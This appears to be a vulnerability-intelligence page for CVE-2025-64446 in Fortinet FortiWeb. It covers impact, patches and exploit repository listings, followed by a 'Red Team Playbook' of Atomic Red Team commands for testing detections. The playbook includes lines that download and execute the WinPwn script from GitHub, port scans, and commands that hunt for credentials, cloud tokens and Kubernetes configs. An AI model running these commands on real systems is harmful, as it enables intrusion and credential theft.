CVE-2025-64446
Overview
This vulnerability is a relative path traversal flaw in the Fortinet FortiWeb web application firewall. It arises from improper validation of user-supplied input in HTTP/HTTPS requests, specifically within the API endpoint handling administrative system configurations. The flaw allows crafted requests to traverse directories and access restricted CGI scripts, bypassing normal access controls in the affected FortiWeb versions.
Vulnerability Description
A relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through 7.6.4, FortiWeb 7.4.0 through 7.4.9, FortiWeb 7.2.0 through 7.2.11, FortiWeb 7.0.0 through 7.0.11 may allow an attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests.
Impact
An unauthenticated attacker can remotely execute administrative commands on the FortiWeb system, including creating new privileged administrative users. This results in full system compromise, allowing control over the web application firewall and potentially the protected network. No prior authentication or user interaction is required, enabling immediate unauthorized access and persistent control over the device, which can lead to data breaches, service disruption, and lateral movement within the network.
Solution
Fortinet has released security updates addressing this vulnerability in FortiWeb versions 8.0.2 and later, 7.6.5 and later, 7.4.10 and later, 7.2.12 and later, and 7.0.12 and later. Administrators should apply these patches promptly. Detailed patch instructions and advisory information are available at Fortinet’s PSIRT page: https://fortiguard.fortinet.com/psirt/FG-IR-25-910. No specific workarounds are recommended other than timely application of vendor-supplied fixes.
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Affected Products (5)
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Fortinet | Fortiweb | All |
cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
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cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
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Fortinet | Fortiweb | All |
cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
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Fortinet | Fortiweb | All |
cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
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Fortinet | Fortiweb | All |
cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
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Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
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Metasploit (2)
| Module | Authors | Rank | Platform | Link |
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Fortinet FortiWeb create new local admin
auxiliary/admin/http/fortinet_fortiweb_create_admin
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Defused, sfewer-r7 | Unknown | - | View |
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Fortinet FortiWeb unauthenticated RCE
exploits/linux/http/fortinet_fortiweb_rce
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Defused, sfewer-r7 | Unknown | - | View |
ExploitDB (2)
| Title | Author | Type | Platform | Date | Link |
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| FortiWeb 8.0.2 - Remote Code Execution | Mohammed Idrees Banyamer | webapps | multiple | - | View |
| Fortinet FortiWeb v8.0.1 - Auth Bypass | nu11secur1ty | webapps | multiple | - | View |
GitHub PoCs (14)
| Repository | Author | Stars | Forks | Date | Link |
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sensepost/CVE-2025-64446
A scanner for the FortiNet vulnerability CVE-2025-64446
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sensepost | 33 | 3 | 2025-11-17 | View |
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lincemorado97/CVE-2025-64446_CVE-2025-58034
FortiWeb Remote Code Execution (RCE) Exploit via CVE-2025-64446 + CVE-2025-58034 Chain
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lincemorado97 | 14 | 5 | 2025-11-18 | View |
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soltanali0/CVE-2025-64446-Exploit
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soltanali0 | 14 | 4 | 2025-11-15 | View |
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sxyrxyy/CVE-2025-64446-FortiWeb-CGI-Bypass-PoC
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sxyrxyy | 14 | 2 | 2025-11-14 | View |
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fevar54/CVE-2025-64446-PoC---FortiWeb-Path-Traversal
PoC de CVE-2025-64446: path traversal a RCE en Fortinet FortiWeb. Solo uso educativo.
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fevar54 | 7 | 1 | 2025-11-14 | View |
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verylazytech/CVE-2025-64446
CVE-2025-64446 - A relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 throug...
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verylazytech | 3 | 0 | 2025-11-17 | View |
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CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
Security research tool for FortiWeb CVE-2025-64446 vulnerability. Automated exploitation framework with advanced logging...
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CerberusMrXi | 2 | 0 | 2026-07-30 | View |
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AN5I/cve-2025-64446-fortiweb-exploit
Security research tool for detecting and testing CVE-2025-64446 (FortiWeb Path Traversal RCE vulnerability)
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AN5I | 1 | 1 | 2025-11-21 | View |
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litndat/Vulnerability-CVE-2025-64446-CVE-2025-58034
Lỗ hổng FORTIWEB_CVE-2025-64446 & CVE-2025-58034
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litndat | 0 | 0 | 2026-06-24 | View |
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D3crypT0r/CVE-2025-64446
FortiWeb Unauthenticated RCE via Path Traversal & CGI Auth Bypass
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D3crypT0r | 0 | 0 | 2025-11-17 | View |
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Death112233/CVE-2025-64446-
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Death112233 | 0 | 0 | 2025-11-19 | View |
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eagle-nett/FORTIWEB_CVE-2025-64446-58034
Lỗ hổng CVE-2025-64446 & CVE-2025-58034
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eagle-nett | 0 | 0 | 2026-03-22 | View |
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0xBlackash/CVE-2025-64446
CVE-2025-64446
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0xBlackash | 0 | 0 | 2026-03-26 | View |
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lequoca/fortinet-fortiweb-cve-2025-64446-58034
Security research on Fortinet FortiWeb vulnerabilities (CVE-2025-64446, CVE-2025-58034)
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lequoca | 0 | 0 | 2025-12-21 | View |
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Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
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| CAPEC-139 | Relative Path Traversal |
47%
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| CAPEC-76 | Manipulating Web Input to File System Calls |
37%
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High | Very High |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
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References (4)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2025-64446 |
| fortiguard.fortinet.com |
GitHub CVE
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https://fortiguard.fortinet.com/psirt/FG-IR-25-910 |
| github.com |
NVD API
Exploit
Third Party Advisory
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https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass |
| cisa.gov |
NVD API
US Government Resource
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https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-64446 |